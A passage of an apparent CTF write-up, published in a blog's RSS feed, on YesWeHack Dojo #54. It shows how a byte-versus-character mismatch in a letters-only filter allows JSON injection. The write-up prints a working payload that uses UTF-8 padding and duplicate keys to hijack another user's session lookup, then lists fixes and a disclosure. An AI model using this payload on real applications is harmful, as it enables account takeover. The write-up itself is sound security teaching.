bytes.&lt;/p&gt;
&lt;h2 id=&quot;probe-3-the-filters-own-bug&quot;&gt;Probe 3: the filter’s own bug&lt;/h2&gt;
&lt;p&gt;Back to the loop, and this time the mismatch is obvious once you’re looking for
it. It &lt;strong&gt;counts in characters&lt;/strong&gt; (&lt;code&gt;session.length&lt;/code&gt; and &lt;code&gt;i&lt;/code&gt;) but &lt;strong&gt;indexes in
bytes&lt;/strong&gt; (&lt;code&gt;bytes[i]&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Why those can differ needs one detour into UTF-8. Text is stored as bytes, and
UTF-8 uses a variable number of bytes per character: plain ASCII (&lt;code&gt;A-Z&lt;/code&gt;, &lt;code&gt;a-z&lt;/code&gt;,
digits, common punctuation) is one byte each, but accented and non-Latin
characters take two, three, or four. &lt;code&gt;é&lt;/code&gt; is two bytes, &lt;code&gt;C3 A9&lt;/code&gt;. Meanwhile
JavaScript’s &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length&quot;&gt;&lt;code&gt;String.length&lt;/code&gt;&lt;/a&gt;
counts UTF-16 code units (for &lt;code&gt;é&lt;/code&gt;, one), while
&lt;a href=&quot;https://nodejs.org/api/buffer.html&quot;&gt;&lt;code&gt;Buffer.from(session, &apos;utf8&apos;)&lt;/code&gt;&lt;/a&gt; gives the
actual bytes (for &lt;code&gt;é&lt;/code&gt;, two). So the two counts only agree while the input is pure
ASCII.&lt;/p&gt;
&lt;p&gt;Watch what that does to the loop when the input is &lt;code&gt;&quot;aaé&quot;&lt;/code&gt;:&lt;/p&gt;


























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;index &lt;code&gt;i&lt;/code&gt;&lt;/th&gt;&lt;th&gt;0&lt;/th&gt;&lt;th&gt;1&lt;/th&gt;&lt;th&gt;2&lt;/th&gt;&lt;th&gt;3&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;code&gt;bytes[i]&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x61&lt;/code&gt; (&lt;code&gt;a&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;&lt;code&gt;0x61&lt;/code&gt; (&lt;code&gt;a&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;&lt;code&gt;0xC3&lt;/code&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;0xA9&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;read by the loop (&lt;code&gt;i &amp;#x3C; 3&lt;/code&gt;)&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;td&gt;yes&lt;/td&gt;&lt;td&gt;&lt;strong&gt;no, skipped&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The two bytes &lt;code&gt;0xC3 0xA9&lt;/code&gt; together are the single character &lt;code&gt;é&lt;/code&gt;, so
&lt;code&gt;session.length&lt;/code&gt; is &lt;code&gt;3&lt;/code&gt; but &lt;code&gt;bytes&lt;/code&gt; has &lt;strong&gt;four&lt;/strong&gt; entries. The loop’s last read is
&lt;code&gt;bytes[2]&lt;/code&gt;; &lt;code&gt;bytes[3]&lt;/code&gt; sits one step past the finish line and is never checked.
Every extra multi-byte character pushes one more real byte off the end of the
loop’s reach, so the tail of the input goes completely uninspected.&lt;/p&gt;
&lt;p&gt;And here’s what makes it exploitable rather than merely wrong. If I pad the front
of my input with a run of multi-byte characters, two things happen at once. Every
byte the loop &lt;em&gt;does&lt;/em&gt; read from that padding is a lead or continuation byte, all
&lt;code&gt;&gt;= 0x80&lt;/code&gt;, which is exactly the branch the filter accepts, so the visible part
sails through. Meanwhile every padding character shortens the loop’s reach relative
to the byte array, so my real payload ends up beyond the loop’s stopping point and
is never checked at all. My &lt;code&gt;&quot;&lt;/code&gt; can hide in that blind region.&lt;/p&gt;
&lt;p&gt;I tested it with a single multi-byte character as the whole input. It was
&lt;strong&gt;rejected&lt;/strong&gt;, which is the confirmation I wanted, not a failure: one padding
character isn’t enough to move the loop’s stopping point past the payload, so the
read still lands on my real bytes and throws. The bypass depends on the gap being
&lt;em&gt;wide enough&lt;/em&gt;, not on some other parsing quirk. I just needed more padding.&lt;/p&gt;
&lt;div class=&quot;callout callout--note&quot; role=&quot;note&quot;&gt;
&lt;p class=&quot;callout__title&quot;&gt;Note&lt;/p&gt;
&lt;p&gt;The character choice matters as much as the count, and this is where the
&lt;code&gt;Url Encode&lt;/code&gt; step in the pipeline comes in. It surprised me: a stock
&lt;code&gt;encodeURIComponent(&apos;é&apos;)&lt;/code&gt; returns &lt;code&gt;%C3%A9&lt;/code&gt;, and that &lt;code&gt;%&lt;/code&gt; (byte &lt;code&gt;0x25&lt;/code&gt;) would fail
the letter test and break the payload. In this challenge, though, the encode step
passes &lt;code&gt;é&lt;/code&gt; through as its literal &lt;code&gt;C3 A9&lt;/code&gt; bytes, while a character in the &lt;code&gt;U+0400&lt;/code&gt;
to &lt;code&gt;U+07FF&lt;/code&gt; range does come out percent-encoded. So &lt;code&gt;é&lt;/code&gt; is the clean choice: two
bytes, both &lt;code&gt;&gt;= 0x80&lt;/code&gt;, reaching the filter intact. I pinned down which characters
survive by testing them rather than trusting my mental model of the encoder.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&quot;probe-4-building-a-valid-injection&quot;&gt;Probe 4: building a valid injection&lt;/h2&gt;
&lt;p&gt;Now I have a way to smuggle a &lt;code&gt;&quot;&lt;/code&gt; past the filter. The remaining problem is that
&lt;code&gt;JSON.parse()&lt;/code&gt; still has to &lt;em&gt;succeed&lt;/em&gt;: the whole string must be well-formed JSON,
including the template’s own trailing &lt;code&gt;&quot;}}&lt;/code&gt;. So the breakout has to open and close
every bracket it introduces and leave the tail balanced.&lt;/p&gt;
&lt;p&gt;The object I want to end up with is &lt;code&gt;{&quot;id&quot;:1}&lt;/code&gt;, because that becomes
&lt;code&gt;WHERE id = 1&lt;/code&gt; and selects &lt;code&gt;brumens&lt;/code&gt;. The trick is JSON’s &lt;strong&gt;last-key-wins&lt;/strong&gt;
behaviour: when an object literal lists the same key twice, the last value is the
one that survives. &lt;code&gt;JSON.parse(&apos;{&quot;a&quot;:1,&quot;a&quot;:2}&apos;)&lt;/code&gt; returns &lt;code&gt;{ a: 2 }&lt;/code&gt;, not an error.
The template already opens a &lt;code&gt;session&lt;/code&gt; key for me, so if I inject a &lt;em&gt;second&lt;/em&gt;
&lt;code&gt;session&lt;/code&gt; key later in the string, mine is the one that wins. Here’s the shape I
aimed the parser at:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;session&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:{&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;session&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;&amp;#x3C;pad&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;},&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;session&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:{&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;},&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;pad&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:{&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;x&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;}}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Walking the tokens my input supplies, after the padding:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&quot;&lt;/code&gt; closes the injected session string,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;}&lt;/code&gt; closes the inner &lt;code&gt;session&lt;/code&gt; object the template opened,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;,&quot;session&quot;:{&quot;id&quot;:1}&lt;/code&gt; adds the duplicate &lt;code&gt;session&lt;/code&gt; key, the one that wins,&lt;/li&gt;
&lt;li&gt;&lt;code&gt;,&quot;pad&quot;:{&quot;x&quot;:&quot;&lt;/code&gt; opens one last key so the template’s own trailing &lt;code&gt;&quot;}}&lt;/code&gt; closes
it cleanly instead of dangling.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Concretely, with the &lt;code&gt;id&lt;/code&gt; set to &lt;code&gt;0&lt;/code&gt; and the session filled in, the exact string
handed to &lt;code&gt;JSON.parse()&lt;/code&gt; is (padding shortened here):&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;json&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;session&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:{&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;session&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;ééé…é&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;},&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;session&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:{&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;},&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;pad&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:{&lt;/span&gt;&lt;span style=&quot;color:#8DDB8C&quot;&gt;&quot;x&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;}}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is valid JSON, and last-key-wins collapses the two &lt;code&gt;session&lt;/code&gt; keys into the
second one, so it parses to:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;{ &lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;session&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; }, &lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;pad&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#F69D50&quot;&gt;x&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; } }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;cookie[&quot;session&quot;]&lt;/code&gt; is therefore &lt;code&gt;{ id: 1 }&lt;/code&gt;, and that object flows straight into
&lt;code&gt;Users.findOne({ where: ... })&lt;/code&gt; as &lt;code&gt;WHERE id = 1&lt;/code&gt;. Row 1 is &lt;code&gt;brumens&lt;/code&gt;, the flag
row.&lt;/p&gt;
&lt;p&gt;One value I had to find by testing: the padding needs to be at least &lt;strong&gt;34&lt;/strong&gt; &lt;code&gt;é&lt;/code&gt;
characters before the loop’s stopping point clears the payload. Fewer than that
and the read runs onto my real bytes and throws. I used 40 for margin.&lt;/p&gt;
&lt;h2 id=&quot;the-payload&quot;&gt;The payload&lt;/h2&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0:éééééééééééééééééééééééééééééééééééééééé&quot;},&quot;session&quot;:{&quot;id&quot;:1},&quot;pad&quot;:{&quot;x&quot;:&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s a &lt;code&gt;0:&lt;/code&gt; prefix, 40 &lt;code&gt;é&lt;/code&gt;, then the JSON breakout. The &lt;code&gt;0:&lt;/code&gt; prefix is there
because the function splits on the first colon and treats the left side as the
&lt;code&gt;id&lt;/code&gt;; the &lt;code&gt;0&lt;/code&gt; is a decoy, and the injected &lt;code&gt;{&quot;id&quot;:1}&lt;/code&gt; is what actually drives the
lookup.&lt;/p&gt;
&lt;p&gt;Submitting it on my own account, the HUD’s &lt;code&gt;FILTER&lt;/code&gt; line flips from &lt;code&gt;ONLINE&lt;/code&gt; to
&lt;strong&gt;&lt;code&gt;BYPASSED&lt;/code&gt;&lt;/strong&gt; rather than &lt;code&gt;BLOCKED&lt;/code&gt;, the flag renders on the game screen, and the
solved popup fires. In the DOM, the shell element ends up with
&lt;code&gt;data-has-flag=&quot;true&quot;&lt;/code&gt; and &lt;code&gt;data-flag&lt;/code&gt; holding the value. Swapping the injected
&lt;code&gt;id&lt;/code&gt; to &lt;code&gt;2&lt;/code&gt; returns &lt;code&gt;bob&lt;/code&gt;’s row instead, which is how I confirmed the id genuinely
comes from my input and isn’t baked into the code.&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The &amp;quot;You&amp;amp;#x27;ve Pwned It!&amp;quot; popup confirming Dojo #54 Highscore was completed&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;auto&quot; width=&quot;588&quot; height=&quot;407&quot; src=&quot;https://0xblu3guy.github.io/blog/_astro/solved-popup.DTiExowu_1S0AzN.webp&quot; &gt;&lt;/p&gt;
&lt;details class=&quot;spoiler&quot;&gt;
&lt;summary class=&quot;spoiler__title&quot;&gt;Flag&lt;/summary&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;text&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;FLAG{N3w_L3v3l_Unl0cked}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;
&lt;h2 id=&quot;why-this-matters-beyond-the-game&quot;&gt;Why this matters beyond the game&lt;/h2&gt;
&lt;p&gt;It’s tempting to file this under “input filter had a bug.” It’s worse than that.
The filter is the &lt;em&gt;only&lt;/em&gt; control deciding whose account the query looks up, and I
never had to defeat the JSON parser to get past it: the padding alone carried the
&lt;code&gt;&quot;&lt;/code&gt; through. Any code shaped like this, a hand-built JSON string plus a length
check that mixes bytes and characters, behaves the same way. The constraint only
ever applies to the region the attacker fully controls, and whatever the parser
produces afterward reaches the query unvalidated. In a real application that’s not
cosmetic. It’s a decision about whose session the backend trusts, made by a loop
that can’t count.&lt;/p&gt;
&lt;h2 id=&quot;fixing-it&quot;&gt;Fixing it&lt;/h2&gt;
&lt;p&gt;Three changes, each closing one link in the chain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Don’t hand-build JSON.&lt;/strong&gt; Serialise an object and let the runtime escape it:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; { id, session: { session } };&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;If the session genuinely must be letters, iterate characters, not bytes,&lt;/strong&gt; so
the index and the byte offset can’t drift apart:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; ch&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; of&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; session) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; b&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; ch.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;codePointAt&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; isLetter&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 0x41&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 0x5a&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 0x61&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&amp;#x3C;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 0x7a&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; b &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6CB6FF&quot;&gt; 0x80&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F47067&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;isLetter) &lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#F47067&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt; Error&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#96D0FF&quot;&gt;&apos;invalid game session&apos;&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;And never pass a parsed value straight into an ORM &lt;code&gt;where&lt;/code&gt; clause.&lt;/strong&gt; Pull out
only the field you actually mean to filter on:&lt;/p&gt;
&lt;pre class=&quot;astro-code github-dark-dimmed&quot; style=&quot;background-color:#22272e;color:#adbac7; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;Users.&lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;findOne&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;({ where: { session: &lt;/span&gt;&lt;span style=&quot;color:#DCBDFB&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color:#ADBAC7&quot;&gt;(cookie.session) } });&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Any one of these breaks the exploit. All three together make the whole class of
bug impossible.&lt;/p&gt;
&lt;h2 id=&quot;disclosure&quot;&gt;Disclosure&lt;/h2&gt;
&lt;p&gt;I wrote this up and reported it to the YesWeHack Dojo program, where it was triaged
and accepted at CVSS 6.5 (Medium).&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;My accepted YesWeHack report for this bug&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;auto&quot; width=&quot;1864&quot; height=&quot;93&quot; src=&quot;https://0xblu3guy.github.io/blog/_astro/report-accepted.ypn88sEO_2pHYyW.webp&quot; &gt;&lt;/p&gt;
&lt;h2 id=&quot;what-i-took-away&quot;&gt;What I took away&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bugs love a unit mismatch.&lt;/strong&gt; A length check is only as trustworthy as the
units it counts in. The instant bytes and characters can diverge, a “letters
only” rule quietly stops meaning what it says, and everything downstream that
trusts it inherits the hole.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hand-built JSON is string-built SQL wearing a different coat.&lt;/strong&gt; The fix is the
same lesson we learned for SQL long ago: serialise structured data, never
concatenate it. When I catch myself typing a &lt;code&gt;{&lt;/code&gt; inside a template string, that’s
the smell.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Failed probes are the map.&lt;/strong&gt; The single-&lt;code&gt;é&lt;/code&gt; rejection and the bare-quote
rejection each killed a theory and pointed at the next one. I got to the exploit
faster by asking &lt;em&gt;why&lt;/em&gt; each attempt failed, not just noting that it did.&lt;/li&gt;
&lt;/ul&gt;</content:encoded><category>CTF</category><category>Web Security</category></item></channel></rss>